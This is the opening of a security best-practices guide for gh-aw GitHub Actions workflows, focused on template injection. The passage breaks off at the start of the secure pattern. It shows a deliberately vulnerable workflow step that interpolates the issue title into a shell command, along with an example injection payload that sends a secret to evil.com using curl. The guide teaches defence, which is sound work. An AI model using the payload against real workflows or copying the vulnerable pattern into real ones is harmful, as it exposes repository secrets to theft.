developer-security

# Security Best Practices Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code. ## Table of Contents - [Template Injection Prevention](#template-injection-prevention) - [Cross-Trigger Nullability](#cross-trigger-nullability-in-generated-conditional-expressions) - [Shell Script Best Practices](#shell-script-best-practices) - [Supply Chain Security](#supply-chain-security) - [Workflow Structure and Permissions](#workflow-structure-and-permissions) - [Static Analysis Integration](#static-analysis-integration) - [Security Checklist](#security-checklist) ### Template Injection Prevention Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets. #### Understanding the Risk GitHub Actions expressions (`${{ }}`) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code. #### Insecure Pattern ```yaml # VULNERABLE: Direct use of untrusted input name: Process Issue on: issues: types: [opened] jobs: process: runs-on: ubuntu-latest steps: - name: Echo issue title run: echo "${{ github.event.issue.title }}" ``` **Why vulnerable:** Issue title is directly interpolated. An attacker can inject: `"; curl evil.com/?secret=$SECRET; echo "` #### Secure Pattern: Environment Variables ```yaml # SECUR...